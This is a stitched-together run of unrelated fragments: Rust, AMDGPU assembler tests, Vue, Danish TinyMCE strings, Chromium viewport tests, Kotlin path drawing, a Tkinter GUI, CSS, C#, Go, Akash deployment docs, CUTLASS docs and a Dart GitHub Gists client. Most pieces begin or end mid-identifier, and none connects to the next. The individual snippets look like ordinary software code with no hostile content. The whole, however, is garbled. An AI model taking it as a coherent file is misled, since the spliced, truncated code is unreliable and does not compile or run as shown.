                base: Default::default(),
                text,
                new_format: TextFormat::default(),
                static_data: gc_arena::Gc::allocate(
                    context.gc_context,
                    EditTextStatic {
                        swf: swf_movie,
                        text: swf_tag,
                    },
                ),
                is_multiline,
                is_word_wrap,
                object: None,
                cached_break_points: None,
            },
        ))
    }

    /// Create a new, dynamic `EditText`.
    pub fn new(
        context: &mut UpdateContext<'_, 'gc, '_>,
        swf_movie: Arc<SwfMovie>,
        x: f64,
        y: f64,
        width: f64,
        height: f64,
    ) -> Self {
        let swf_tag = swf::EditText {
            id: 0, //TODO: Dynamic text fields don't have a character ID?
            bounds: swf::Rectangle {
                x_min: Twips::from_pixels(x),
                x_max: Twips::from_pixels(x + height),
                y_min: Twips::from_pixels(y),
                y_max: Twips::from_pixels(y + width),
            },
            font_id: None,
            font_class_name: None,
            height: Some(Twips::from_pixels(height)),
            color: Some(swf::Color {
                r: 0,
                g: 0,
                b: 0,
                a: 0xFF,
            }),
            max_length: Some(width as u16),
            layout: Some(swf::Text


x4i8 a[0:15], a0, a1, a[18:33]
// GFX90A: v_mfma_i32_16x16x4i8 a[0:15], a0, a1, a[18:33] ; encoding: [0x00,0x80,0xd1,0xd3,0x00,0x03,0x4a,0x1c]

v_mfma_i32_16x16x4i8 a[0:15], a0, a1, a[18:33] cbsz:3 abid:2 blgp:7
// GFX90A: v_mfma_i32_16x16x4i8 a[0:15], a0, a1, a[18:33] cbsz:3 abid:2 blgp:7 ; encoding: [0x00,0x93,0xd1,0xd3,0x00,0x03,0x4a,0xfc]

v_mfma_i32_16x16x4i8 v[0:15], v0, v1, v[18:33]
// GFX90A: v_mfma_i32_16x16x4i8 v[0:15], v0, v1, v[18:33] ; encoding: [0x00,0x00,0xd1,0xd3,0x00,0x03,0x4a,0x04]

v_mfma_i32_16x16x4i8 v[0:15], v0, v1, v[18:33] cbsz:3 abid:2 blgp:7
// GFX90A: v_mfma_i32_16x16x4i8 v[0:15], v0, v1, v[18:33] cbsz:3 abid:2 blgp:7 ; encoding: [0x00,0x13,0xd1,0xd3,0x00,0x03,0x4a,0xe4]

v_mfma_i32_16x16x4i8 v[0:15], v0, a1, v[18:33]
// GFX90A: v_mfma_i32_16x16x4i8 v[0:15], v0, a1, v[18:33] ; encoding: [0x00,0x00,0xd1,0xd3,0x00,0x03,0x4a,0x14]

v_mfma_i32_16x16x4i8 v[0:15], v0, a1, v[18:33] cbsz:3 abid:2 blgp:7
// GFX90A: v_mfma_i32_16x16x4i8 v[0:15], v0, a1, v[18:33] cbsz:3 abid:2 blgp:7 ; encoding: [0x00,0x13,0xd1,0xd3,0x00,0x03,0x4a,0xf4]

v_mfma_i32_16x16x4i8 v[0:15], a0, v1, v[18:33]
// GFX90A: v_mfma_i32_16x16x4i8 v[0:15], a0, v1, v[18:33] ; encoding: [0x00,0x00,0xd1,0xd3,0x00,0x03,0x4a,0x0c]

v_mfma_i32_16x16x4i8 v[0:15], a0, v1, v[18:33] cbsz:3 abid:2 blgp:7
// GFX90A: v_mfma_i32_16x16x4i8 v[0:15], a0, v1, v[18:33] cbsz:3 abid:2 blgp:7 ; encoding: [0x00,0x13,0xd1,0xd3,0x00,0x03,0x4a,0xec]

v_mfma_i32_16x16x


for (const message of this.configList[this.configListIndex].original_messages) {
                                const tmpMessageData = await this.decryptMessage(message)
                                //console.log(tmpMessageData)
                                tmpMessages.push(tmpMessageData)
                            }
                            this.decryptedMessages = tmpMessages
                            document.getElementById(id).value = ''
                        } catch (err) {
                            console.log(err)
                            console.log('Unable to read json file')
                            document.getElementById(id).value = ''
                        }
                    }
                },
                download: function (filename, text) {
                    let element = document.createElement('a')
                    element.setAttribute('href', 'data:text/plain;charset=utf-8,' + encodeURIComponent(text))
                    element.setAttribute('download', filename)
                    element.style.display = 'none'
                    document.body.appendChild(element)
                    element.click()
                    document.body.removeChild(element)
                },
            }
        }).mount('#app')
    </script>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" /><link rel="SHORTCUT ICON" href="/favicon.ico" /><title>The tree output</title>

The XML C parser and toolkit of Gnome

The tree output

Developer Menu

<form action="search.php" enctype="application/x-www-form-urlencoded" method="get"><input name="query" type="text" size="20" value="" /><input name="submit" type="submit" value="Search ..." /></form>

Main Menu

Reference Manual</


nsert Template": "Indsæt Skabelon",
"Text color": "Tekstfarve",
"Background color": "Baggrundsfarve",
"Custom...": "Brugerdefineret...",
"Custom color": "Brugerdefineret farve",
"No color": "Ingen farve",
"Remove color": "Fjern farve",
"Show blocks": "Vis blokke",
"Show invisible characters": "Vis usynlige tegn",
"Word count": "Optalte ord",
"Count": "Antal",
"Document": "Dokument",
"Selection": "Valg",
"Words": "Ord",
"Words: {0}": "Ord: {0}",
"{0} words": "{0} ord",
"File": "Fil",
"Edit": "Rediger",
"Insert": "Indsæt",
"View": "Gennemse",
"Format": "Formater",
"Table": "Tabel",
"Tools": "Værktøjer",
"Powered by {0}": "Drevet af {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Rich Text område. Tryk ALT-F9 for menu. Tryk ALT-F10 for værktøjslinje. Tryk ALT-0 for hjælp",
"Image title": "Billedtitel",
"Border width": "Kantbredde",
"Border style": "Kantstil",
"Error": "Fejl",
"Warn": "Advar",
"Valid": "Gyldig",
"To open the popup, press Shift+Enter": "Tryk skift + enter for at åbne pop op",
"Rich Text Area": "Rich Text Område",
"Rich Text Area. Press ALT-0 for help.": "Rich tekst område. Tryk på ALT-0 for hjælp.",
"System Font": "Systemskrifttype",
"Failed to upload image: {0}": "Mislykket billed-upload:",
"Failed to load plugin: {0} from url {1}": "Mislykket plugin indlæsning: {0}  fra url {1}",
"Failed to load plugin url: {0}": "Mislykket indlæsning af plugin-url: {0}",
"Failed to initialize plugin: {0}": "Mislykket initiering a plugin: {0}",
"example": "eksempel",
"Search": "Søg",
"All": "Alle",
"Currency": "Valuta",
"Text": "Tekst",
"Quotations": "Anførselstegn",
"Mathematical": "Matematiske tegn",
"Extended Latin": "Udvidet Latin",
"Symbols": "Symboler",
"Arrows": "Pile",
"User Defined": "Brugerdefineret",
"dollar sign": "dollartegn",
"currency sign": "valutategn",
"euro-currency sign": "euro-tegn",
"colon sign": "kolontegn",
"cruzeiro sign": "cruzeiro-tegn",
"french franc sign": "fransk frank-tegn",
"lira sign": "lira-tegn",
"mill sign": "mill-tegn",
"naira sign": "naira-tegn",
"peseta sign": "peseta-tegn",
"rupee sign": "rupee-tegn",
"won sign": "won-tegn",
"new sheqel sign": "ny sheqel-tegn",
"dong sign": "dong-tegn",
"kip sign": "kip-tegn",
"tugrik sign": "tugrik-tegn",
"drachma sign": "drakmer-tegn",
"german penny symbol": "tysk penny-symbol",
"peso sign": "peso-tegn",
"guarani sign": "guarani-tegn",
"austral sign": "austral-tegn",
"hryvnia sign": "hryvnia-tegn",
"cedi sign": "cedi-tegn",
"livre tour


sktopSettings();
  WebView()->MainFrameViewWidget()->Resize(gfx::Size(320, 240));

  RegisterMockedHttpURLLoad("200-by-300.html");
  NavigateTo(base_url_ + "200-by-300.html");

  WebView()->MainFrameViewWidget()->Resize(gfx::Size(100, 160));
  UpdateAllLifecyclePhases();

  EXPECT_EQ(gfx::Size(100, 160),
            WebView()->MainFrameImpl()->GetFrameView()->FrameRect().size());
}

// Test that attaching a new frame view resets the size of the inner viewport
// scroll layer. crbug.com/423189.
TEST_P(VisualViewportTest, TestAttachingNewFrameSetsInnerScrollLayerSize) {
  InitializeWithAndroidSettings();
  WebView()->MainFrameViewWidget()->Resize(gfx::Size(320, 240));

  // Load a wider page first, the navigation should resize the scroll layer to
  // the smaller size on the second navigation.
  RegisterMockedHttpURLLoad("content-width-1000.html");
  NavigateTo(base_url_ + "content-width-1000.html");
  UpdateAllLifecyclePhases();

  VisualViewport& visual_viewport = GetFrame()->GetPage()->GetVisualViewport();
  visual_viewport.SetScale(2);
  visual_viewport.Move(ScrollOffset(50, 60));

  // Move and scale the viewport to make sure it gets reset in the navigation.
  EXPECT_EQ(ScrollOffset(50, 60), visual_viewport.GetScrollOffset());
  EXPECT_EQ(2, visual_viewport.Scale());

  // Navigate again, this time the LocalFrameView should be smaller.
  RegisterMockedHttpURLLoad("viewport-device-width.html");
  NavigateTo(base_url_ + "viewport-device-width.html");
  UpdateAllLifecyclePhases();

  // Ensure the scroll contents size matches the frame view's size.
  EXPECT_EQ(gfx::Size(320, 240), visual_viewport.LayerForScrolling()->bounds());
  EXPECT_EQ(gfx::Rect(0, 0, 320, 240),
            visual_viewport.GetScrollNode()->ContentsRect());

  // Ensure the location and scale were reset.
  EXPECT_EQ(ScrollOffset(), visual_viewport.GetScrollOffset());
  EXPECT_EQ(1, visual_viewport.Scale());
}

// The main LocalFrameView's size should be set such that its the size of the
// visual viewport at minimum scale. Test that the LocalFrameView is
// appropriately sized in the presence of a viewport <meta> tag.
TEST_P(VisualViewportTest, TestFrameViewSizedToViewportMetaMinimumScale) {
  InitializeWithAndroidSettings();
  WebView()->MainFrameViewWidget()->Resize(gfx::Size(320, 240));

  RegisterMockedHttpURLLoad("200-by-300-min-scale-2.html");
  NavigateTo(base_url_ + "200-by-300-min-scale-2.html");

  WebView()->MainFrameViewWidget()->Resize(gfx::Size(100, 160));
  UpdateAllLifecyclePhases();

  EXPECT_EQ(gfx::Size(50, 80),
            WebView()->MainFrameImpl()->GetFrameView()->FrameRect().size());
}

// Test that the visual viewport still gets sized in AutoSize/AutoResize mode.
TEST_P(VisualViewportTest, TestVisualViewportGetsSizeInAutoSizeMode) {
  InitializeWithDesktopSettings();

  EXPECT_EQ(gfx::Size(0, 0), WebView()->MainFrameViewWidget()->Size());
  EXPECT_EQ(gfx::Size(0, 0), GetFrame()->GetPage()->GetVisualViewport().Size());

  WebView()->EnableAutoResizeMode(gfx::Size(10, 10), gfx::Size(1000, 1000));

  RegisterMockedHttpURLLoad("200-by-300.html");
  NavigateTo(base_url_ + "200-by-300.html");

  EXPECT_EQ(gfx::Size(200, 300),
            GetFrame()->GetPage()->GetVisualViewport().Size());


101f, 249.222f)
    cubicTo(242.253f, 249.222f, 240.065f, 252.504f, 239.628f, 252.285f)
    cubicTo(239.19101f, 252.065f, 241.81601f, 248.565f, 246.19101f, 248.565f)
    close()
}
shape = Outline.Generic(generalPath!!)
brush = SolidColor(Color(133, 52, 10, 255))
drawOutline(outline = shape!!, style=Fill, brush=brush!!, alpha=alpha, blendMode = blendMode)
alpha = alphaStack.removeAt(0)
blendMode = blendModeStack.removeAt(0)
}
alpha = alphaStack.removeAt(0)
blendMode = blendModeStack.removeAt(0)
alphaStack.add(0, alpha)
alpha *= 1.0f
blendModeStack.add(0, BlendMode.SrcOver)
blendMode = BlendMode.SrcOver
withTransform({
transform(
Matrix(values=floatArrayOf(
-1.0f, 0.0f, 0.0f, 0.0f,
0.0f, 1.0f, 0.0f, 0.0f,
0.0f, 0.0f, 1.0f, 0.0f,
512.2559814453125f, 0.0f, 0.0f, 1.0f)
))}){
// _0_9
alphaStack.add(0, alpha)
alpha *= 1.0f
blendModeStack.add(0, BlendMode.SrcOver)
blendMode = BlendMode.SrcOver
// _0_9_0
if (generalPath == null) {
   generalPath = Path()
} else {
   generalPath!!.reset()
}
generalPath?.run {
    moveTo(238.316f, 249.876f)
    cubicTo(243.34799f, 245.501f, 249.692f, 244.84401f, 253.194f, 248.126f)
    cubicTo(254.051f, 249.274f, 254.6f, 250.50201f, 254.826f, 251.78201f)
    cubicTo(255.266f, 254.27402f, 254.488f, 256.96503f, 252.53601f, 259.724f)
    cubicTo(252.75601f, 259.724f, 253.19402f, 259.942f, 253.41301f, 260.161f)
    cubicTo(255.15001f, 256.83902f, 255.76501f, 253.42702f, 255.195f, 250.18102f)
    cubicTo(255.04292f, 249.33081f, 254.8133f, 248.49634f, 254.509f, 247.68802f)
    cubicTo(249.695f, 243.75002f, 243.132f, 243.31201f, 238.319f, 249.87701f)
    close()
}
shape = Outline.Generic(generalPath!!)
brush = SolidColor(Color(133, 52, 10, 255))
drawOutline(outline = shape!!, style=Fill, brush=brush!!, alpha=alpha, blendMode = blendMode)
alpha = alphaStack.removeAt(0)
blendMode = blendModeStack.removeAt(0)
}
alpha = alphaStack.removeAt(0)
blendMode = blendModeStack.removeAt(0)
alphaStack.add(0, alpha)
alpha *= 1.0f
blendModeStack.add(0, BlendMode.SrcOver)
blendMode = BlendMode.SrcOver
withTransform({
transform(
Matrix(values=floatArrayOf(
1.0f, 0.0f, 0.0f, 0.0f,
0.0f, 1.0f, 0.0f, 0.0f,
0.0f, 0.0f, 1.0f, 0.0f,
19.315000534057617


ter_cancel(animation_id)

def animate_loading():
    global animation_index, animation_id
    dots = ['.', '..', '...', '....']
    loading_label.config(text=f"{loading_label['text'][:-len(dots[animation_index])]}{dots[animation_index]}")
    animation_index = (animation_index + 1) % len(dots)
    animation_id = root.after(500, animate_loading)

# Create the window for fraudulent students
def show_fraudulent_students(fraud_names):
    fraud_window = tk.Toplevel(root)
    fraud_window.title("Fraudulent Students")
    fraud_window.geometry("500x300")

    # Keep the window open until it's manually closed
    fraud_window.grab_set()

    # Add a scrollable treeview to display fraudulent students in a table format
    tree = ttk.Treeview(fraud_window, columns=("Name"), show="headings", height=10)
    tree.heading("Name", text="Fraudulent Students")

    for name in fraud_names:
        tree.insert("", tk.END, values=(name,))

    tree.pack(fill="both", expand=True, padx=20, pady=20)

# Create the Tkinter window
root = tk.Tk()
root.title("Fraud Detection")
root.geometry("600x400")
root.configure(bg="#f4f4f4")

# Title
title_label = tk.Label(root, text="Fraud Detection System", font=("Arial", 22, "bold"), bg="#f4f4f4", fg="#333333")
title_label.pack(pady=20)

# Input box design
input_frame = tk.Frame(root, bg="#ffffff", bd=2, relief="groove")
input_frame.pack(pady=20, padx=20, fill="both", expand=True)

upload_button = tk.Button(input_frame, text="Upload Dataset", command=upload_file, bg="#4CAF50", fg="#ffffff", font=("Arial", 16), padx=20, pady=10)
upload_button.pack(pady=30)

# Loading label for animation
loading_label = tk.Label(root, text="", font=("Arial", 14), bg="#f4f4f4", fg="#555555")
animation_index = 0
animation_id = None

# Run the Tkinter event loop
root.mainloop()


: rgba(255, 255, 255, 0.05);
  color: white;
  outline: 0 !important;
  border: 1px solid white;
  border-radius: 0.3rem;
}
select option {
  color: white;
  background-color: black;
}
#addtype {
  margin-right: 0.1rem;
}
::-webkit-scrollbar {
  width: 10px;
}

::-webkit-scrollbar-track {
  background: rgba(255, 255, 255, 0.1);
  border-radius: 6px;
}

::-webkit-scrollbar-thumb {
  background: rgba(255, 255, 255, 0.1);
  border-radius: 6px;
  transition: 0.3s;
}

::-webkit-scrollbar-thumb:hover {
    background: rgba(255, 255, 255, 0.2);
}

::-webkit-resizer {
    background-image: url('assets/resize.svg');
}

.blocklyMenu, .blocklyEditableText > .blocklyText:not(.blocklyDropdownText) {
  text-shadow: none;
}

.selectSearch {
  border: 2px solid purple !important;
}@import "tailwindcss";

/* Custom utilities */

/* Custom scrollbar */
::-webkit-scrollbar {
  width: 8px;
}

::-webkit-scrollbar-track {
  background: #f1f5f9;
}

::-webkit-scrollbar-thumb {
  background: #64748b;
  border-radius: 4px;
}

::-webkit-scrollbar-thumb:hover {
  background: #475569;
}

/* Loading animation for stats */
.loading-pulse {
  animation: pulse 2s cubic-bezier(0.4, 0, 0.6, 1) infinite;
}

/* Improved focus styles for accessibility */
.focus-enhanced:focus {
  outline: 2px solid #3b82f6;
  outline-offset: 2px;
  border-radius: 8px;
}

/* Modern shimmer animation for loading states */
@keyframes shimmer {
  0% {
    transform: translateX(-100%);
  }
  100% {
    transform: translateX(100%);
  }
}

.animate-shimmer {
  animation: shimmer 2s ease-in-out infinite;
}

/* Enhanced image loading skeleton */
.image-skeleton {
  background: linear-gradient(90deg,
    #f3f4f6 25%,
    #e5e7eb 50%,
    #f3f4f6 75%
  );
  background-size: 200% 100%;
  animation: loading-gradient 1.5s ease-in-out infinite;
}

/* Sticky pagination container */

/* Sidebar width variable (desktop) */
:root {
  --sidebar-width: 14rem;
  --sidebar-width-collapsed: 4rem;
}

/* Toggle via body class set by Navbar */
body.sidebar-collapsed {
  --sidebar-width: var(--sidebar-width-collapsed);
}

/* Desktop main padding follows variable */
@media (min-width: 768px) {
  main#main {
    padding-left: var(--sidebar-width) !important;
    transition: padding-left 0.3s;
  }
}

/* Mobile keeps zero regardless of state */
@media (max-width: 767px) {
  main#main {
    padding-left: 0 !important;
  }
}

#pagination-container {
  position: sticky;
  bottom: 0;
  z-index: 30;
  /* background: white; */
}

@keyframes loading-gradient {
  0% {
    background-position: 200% 0;
  }
  100% {
    background-position: -200% 0;
  }
}/* SelectFold


namespace GraphQL.DataLoader;

public partial class DataLoaderBase<TKey, T>
    where TKey : notnull
{
    private class DataLoaderList : Dictionary<TKey, DataLoaderPair<TKey, T>>, IDataLoader
    {
        protected readonly DataLoaderBase<TKey, T> _dataLoader;
        private Task? _loadingTask;

        public DataLoaderList(DataLoaderBase<TKey, T> delayLoader) : base(delayLoader.EqualityComparer)
        {
            _dataLoader = delayLoader;
        }

        public Task DispatchAsync(CancellationToken cancellationToken = default)
        {
            cancellationToken.ThrowIfCancellationRequested();

            if (_loadingTask != null)
                return _loadingTask;

            lock (this) //external code cannot access "this"; lgtm [cs/lock-this]
            {
                //this lock depends on external code, as it should to prevent double execution
                //it also depends on the locks in DataLoader to succeed, which is guaranteed to succeed, as if they
                //  are in a lock, they are guaranteed to f


using Kermalis.PokemonBattleEngine.Data;

namespace Kermalis.PokemonGameEngine.Pkmn
{
    internal sealed class Pokerus
    {
        private byte _b;
        public byte Strain
        {
            get => (byte)(_b >> 4);
            set => _b = (byte)((_b & 0xF) | (value << 4));
        }
        public byte DaysRemaining
        {
            get => (byte)(_b & 0xF);
            set => _b = (byte)((_b & ~0xF) | value);
        }
        public bool Exists => Strain != 0;
        public bool IsCured => Strain != 0 && DaysRemaining == 0;
        public bool IsInfected => Strain != 0 && DaysRemaining > 0;

        // Create
        public Pokerus(bool empty)
        {
            if (!empty)
            {
                CreateRandomStrain();
            }
        }
        // Clone
        public Pokerus(Pokerus other)
        {
            _b = other._b;
        }

        private void CreateRandomStrain()
        {
            Strain = (byte)PBEDataProvider.GlobalRandom.RandomInt(1, 15);
            DaysRemaining = GetInitialDaysRemaining(Strain);
        }
        private void SpreadStrain(byte strain)
        {
            Strain = strain;
            DaysRemaining = GetInitialDaysRemaining(strain);
        }

        public static byte GetInitialDaysRemaining(byte strain)
        {
            return (byte)((strain % 4) + 1);
        }

        public static void TryCreatePokerus(Party party)
        {
            if (!PBEDataProvider.GlobalRandom.RandomBool(3, 0x10000))
            {
                return;
            }

            while (true)
            {
                PartyPokemon pkmn = party[PBEDataProvider.GlobalRandom.Ra


alse;

	/**
	 * @description Creates a new JavaScript project
	 * @constructor
	 * @public
	 * @param {ServiceRegistry} serviceRegistry The service registry
	 * @since 12.0
	 */
	function JavaScriptProject(serviceRegistry) {
		this.projectMeta = null;
		this.map = Object.create(null);
		this.registry = serviceRegistry;
		this.fileClient = null;
		this.handlers = [eslintHandler, envHandler];
        this.lintFiles = [this.ESLINTRC_JS, this.ESLINTRC_JSON, this.ESLINTRC, this.ESLINTRC_YAML, this.ESLINTRC_YML, this.PACKAGE_JSON];
		this.projectFiles = [this.PACKAGE_JSON, this.TERN_PROJECT].concat(this.lintFiles);
	}
	/**
	 * The .tern-project file name
	 */
	JavaScriptProject.prototype.TERN_PROJECT = '.tern-project';
	/**
	 * The .eslintrc file name
	 * @see http://eslint.org/docs/user-guide/configuring#configuration-file-formats
	 */
	JavaScriptProject.prototype.ESLINTRC = '.eslintrc';
	/**
	 * The .eslintrc.js file name
	 * @see http://eslint.org/docs/user-guide/configuring#configuration-file-formats
	 */
	JavaScriptProject.prototype.ESLINTRC_JS = '.eslintrc.js';
	/**
	 * The .eslintrc.yaml file name
	 * @see http://eslint.org/docs/user-guide/configuring#configuration-file-formats
	 */
	JavaScriptProject.prototype.ESLINTRC_YAML = '.eslintrc.yaml';
	/**
	 * The .eslintrc.yml file name
	 * @see http://eslint.org/docs/user-guide/configuring#configuration-file-formats
	 */
	JavaScriptProject.prototype.ESLINTRC_YML = '.eslintrc.yml';
	/**
	 * The .eslintrc.json file name
	 * @see http://eslint.org/docs/user-guide/configuring#configuration-file-formats
	 */
	JavaScriptProject.prototype.ESLINTRC_JSON = '.eslintrc.json';
	/**
	 * The project.json file name
	 */
	JavaScriptProject.prototype.PROJECT_JSON = 'project.json';
	/**
	 * The package.json file name
	 */
	JavaScriptProject.prototype.PACKAGE_JSON = 'package.json';
	/**
	 * The jsconfig.json file name
	 */
	JavaScriptProject.prototype.JSCONFIG_JSON = 'jsconfig.json';
	/**
	 * The node_modules folder name
	 */
	JavaScriptProject.prototype.NODE_MODULES = 'node_modules';
	/**
	 * The .jsbeautifyrc file name
	 * @see https://github.com/beautify-web/js-beautify/blob/master/README.md
	 */
	JavaScriptProject.prototype.JSBEAUTIFYRC = '.jsbeautifyrc';
	/**
	 * The .definitions folder name
	 * @since 14.0
	 */
	JavaScriptProject.prototype.DEFINITIONS = '.definitions';
	/**
	 * @description Adds a handler for the given file name to the mapping of handlers
	 * @function
	 * @param {Object} functions The object map of functions
	 */
	JavaScriptProject.prototype.addHandler = function addHandler(functions) {
		this.handlers.push(functions);
	};

	/**
	 * @description Returns the current project path
	 * @function
	 * @returns {String} The current project path or null if there is no project context
	 */
	JavaScriptProject.prototype.getProjectPath = function getProjectPath() {
		if(this.projectMeta) {
			return this.projectMeta.Location;
		}
		return null;
	};

	/**
	 * @description Fetch the named child of the current project context
	 * @function
	 * @param {String} childName The short name of the project child to get
	 * @param {String} projectPath The optional project path to fetch from
	 * @returns {Deferred} A deferred that will resolve to the requested child metadata or null
	 */
	JavaScriptProject.prototype.getFile = function getFile(childName, projectPath) {
		if(!this.projectMeta && !projectPath) {
			return new Deferred().resolve


ense.

package rowexec

import (
	"fmt"
	"io"
	"sync"

	"SimPro/pkg/go-mysql-server/sql"
	"SimPro/pkg/go-mysql-server/sql/expression"
	"SimPro/pkg/go-mysql-server/sql/plan"
	"SimPro/pkg/go-mysql-server/sql/transform"
	"SimPro/pkg/go-mysql-server/sql/types"

	"SimPro/pkg/vitess/go/mysql"
)

const TriggerSavePointPrefix = "__go_mysql_server_trigger_savepoint__"

type triggerRollbackIter struct {
	child         sql.RowIter
	savePointName string
}

func AddTriggerRollbackIter(ctx *sql.Context, qFlags *sql.QueryFlags, iter sql.RowIter) sql.RowIter {
	if !qFlags.IsSet(sql.QFlagTrigger) {
		return iter
	}

	transSess, isTransSess := ctx.Session.(sql.TransactionSession)
	if !isTransSess {
		return iter
	}

	ctx.GetLogger().Tracef("TriggerRollback creating savepoint: %s", TriggerSavePointPrefix)
	if err := transSess.CreateSavepoint(ctx, ctx.GetTransaction(), TriggerSavePointPrefix); err != nil {
		ctx.GetLogger().WithError(err).Errorf("CreateSavepoint failed")
	}

	return &triggerRollbackIter{
		child:         iter,
		savePointName: TriggerSavePointPrefix,
	}
}

func (t *triggerRollbackIter) Next(ctx *sql.Context) (row sql.Row, returnErr error) {
	childRow, err := t.child.Next(ctx)

	ts, ok := ctx.Session.(sql.TransactionSession)
	if !ok {
		return nil, fmt.Errorf("expected a sql.TransactionSession, but got %T", ctx.Session)
	}

	// Rollback if error occurred
	if err != nil && err != io.EOF {
		if err := ts.RollbackToSavepoint(ctx, ctx.GetTransaction(), t.savePointName); err != nil {
			ctx.GetLogger().WithError(err).Errorf("Unexpected error when calling RollbackToSavePoint during triggerRollbackIter.Next()")
		}
		if err := ts.ReleaseSavepoint(ctx, ctx.GetTransaction(), t.savePointName); err != nil {
			ctx.GetLogger().WithError(err).Errorf("Unexpected error when calling ReleaseSavepoint during triggerRollbackIter.Next()")
		} else {
			t.savePointName = ""
		}
	}

	return childRow, err
}

func (t *triggerRollbackIter) Close(ctx *sql.Context) error {
	ts, ok := ctx.Session.(sql.TransactionSession)
	if !ok {
		return fmt.Errorf("expected a sql.TransactionSession, but got %T", ctx.Session)
	}

	if len(t.savePointName) != 0 {
		if err := ts.ReleaseSavepoint(ctx, ctx.GetTransaction(), t.savePointName); err != nil {
			ctx.GetLogger().WithError(err).Errorf("Unexpected error when calling ReleaseSavepoint during triggerRollbackIter.Close()")
		}
		t.savePointName = ""
	}
	return t.child.Close(ctx)
}

// triggerBlockIter is the sql.RowIter for TRIGGER BEGIN/END blocks, which operate differently than normal blocks.
type triggerBlockIter struct {
	statements []sql.Node
	row        sql.Row
	once       *sync.Once
	b          *BaseBuilder
}

var _ sql.RowIter = (*triggerBlockIter)(nil)

// Next implements the sql.RowIter interface.
func (i *triggerBlockIter) Next(ctx *sql.Context) (sql.Row, error) {
	run := false
	i.once.Do(func() {


     "log":"",
      "events":[
        {
          "type":"akash.v1",
          "attributes":[
            {
              "key":"module",
              "value":"deployment"
            },
            {
              "key":"action",
              "value":"deployment-created"
            },
            {
              "key":"version",
              "value":"2b86f778de8cc9df415490efa162c58e7a0c297fbac9cdb8d6c6600eda56f17e"
            },
            {
              "key":"owner",
              "value":"akash1vn06ycjjnvsvl639fet9lajjctuturrtx7fvuj"
            },
            {
              "key":"dseq",
              "value":"140324"
            },
            {
              "key":"module",
              "value":"market"
            },
            {
              "key":"action",
              "value":"order-created"
            },
            {
              "key":"owner",
              "value":"akash1vn06ycjjnvsvl639fet9lajjctuturrtx7fvuj"
            },
            {
              "key":"dseq",
              "value":"140324"
            },
            {
              "key":"gseq",
              "value":"1"
            },
            {
              "key":"oseq",
              "value":"1"
            }
          ]
        },
        {
          "type":"message",
          "attributes":[
            {
              "key":"action",
              "value":"create-deployment"
            },
            {
              "key":"sender",
              "value":"akash1vn06ycjjnvsvl639fet9lajjctuturrtx7fvuj"
            },
            {
              "key":"sender",
              "value":"akash1vn06ycjjnvsvl639fet9lajjctuturrtx7fvuj"
            }
          ]
        },
        {
          "type":"transfer",
          "attributes":[
            {
              "key":"recipient",
              "value":"akash17xpfvakm2amg962yls6f84z3kell8c5lazw8j8"
            },
            {
              "key":"sender",
              "value":"akash1vn06ycjjnvsvl639fet9lajjctuturrtx7fvuj"
            },
            {
              "key":"amount",
              "value":"5000uakt"
            },
            {
              "key":"recipient",
              "value":"akash14pphss726thpwws3yc458hggufynm9x77l4l2u"
            },
            {
              "key":"sender",
              "value":"akash1vn06ycjjnvsvl639fet9lajjctuturrtx7fvuj"
            },
            {
              "key":"amount",
              "value":"5000000uakt"
            }
          ]
        }
      ]
    }
  ],
  "info":"",
  "gas_wanted":"100000",
  "gas_used":"94653",
  "tx":null,
  "timestamp":""
}
```

- Find your Deployment \-

Find the Deployment Sequence (DSEQ) in the deployment you just created. You will need to replace the AKASH_DSEQ with the number from your deployment to configure a shell variable.

```bash
export AKASH_DSEQ=CHANGETHIS
```

Now set the Order Sequence (OSEQ) and Group Sequence (GSEQ). Note that if this is your first time deploying on Akash, OSEQ and GSEQ will be 1.

```bash
AKASH_OSEQ=1
AKASH_GSEQ=1
```

Verify we have the right values populated by running:

```bash
echo $AKASH_DSEQ $AKASH_OSEQ $AKASH_GSEQ


4b6d968039dde5c9f062ab15f90a8049fe.html">  939 struct Mma<

  940   gemm::GemmShape<8,8,32>,

  941   32,

  942   uint4b_t,

  943   layout::RowMajor,

  944   int4b_t,

  945   layout::ColumnMajor,

  946   int,

  947   layout::RowMajor,

  948   OpMultiplyAddSaturate> {

  949

  950   using Shape = gemm::GemmShape<8,8,32>;

  951

<a class="line" href="structcutlass_1_1arch_1_1Mma_3_01gemm_1_1GemmShape_3_018_00_018_00_0132_01_4_00_0132_00_01uint4b6d968039dde5c9f06


icle-oper-new">


 'package:github/src/common.dart';

/// The [GistsService] handles communication with gist
/// methods of the GitHub API.
///
/// API docs: https://developer.github.com/v3/gists/
class GistsService extends Service {
  GistsService(super.github);

  /// lists gists for a user.
  ///
  /// API docs: https://developer.github.com/v3/gists/#list-gists
  Stream<Gist> listUserGists(String username) {
    return PaginationHelper(github)
        .objects('GET', '/users/$username/gists', Gist.fromJson);
  }

  /// Fetches the gists for the currently authenticated user.
  /// If the user is not authenticated, this returns all public gists.
  ///
  /// API docs: https://developer.github.com/v3/gists/#list-gists
  Stream<Gist> listCurrentUserGists() {
    return PaginationHelper(github).objects('GET', '/gists', Gist.fromJson);
  }

  /// Fetches the currently authenticated user's public gists.
  ///
  /// API docs: https://developer.github.com/v3/gists/#list-gists
  Stream<Gist> listCurrentUserPublicGists() {
    return PaginationHelper(github)
        .objects('GET', '/gists/public', Gist.fromJson);
  }

  /// Fetches the currently authenticated user's starred gists.
  ///
  /// API docs: https://developer.github.com/v3/gists/#list-gists
  Stream<Gist> listCurrentUserStarredGists() {
    return PaginationHelper(github)
        .objects('GET', '/gists/starred', Gist.fromJson);
  }

  /// Fetches a Gist by the specified [id].
  ///
  /// API docs: https://developer.github.com/v3/gists/#get-a-single-gist
  Future<Gist> getGist(String id) => github.getJSON('/gists/$id',
      statusCode: StatusCodes.OK, convert: Gist.fromJson);

  /// Creates a Gist
  ///
  /// API docs: https://developer.github.com/v3/gists/#create-a-gist
  Future<Gist> createGist(
    Map<String, String> files, {
    String? description,
    bool public = false,
  }) {
    final map = <String, dynamic>{'files': {}};

    if (description != null) {
      map['description'] = description;
    }

    map['public'] = public;

    final f = {};

    for (final key in files.keys) {
      f[key] = {'content': files[key]};
    }

    map['files'] = f;

    return github.postJSON(
      '/gists',
      statusCode: 201,
      body: GitHubJson.encode(map),
      convert: Gist.fromJson,
    );
  }

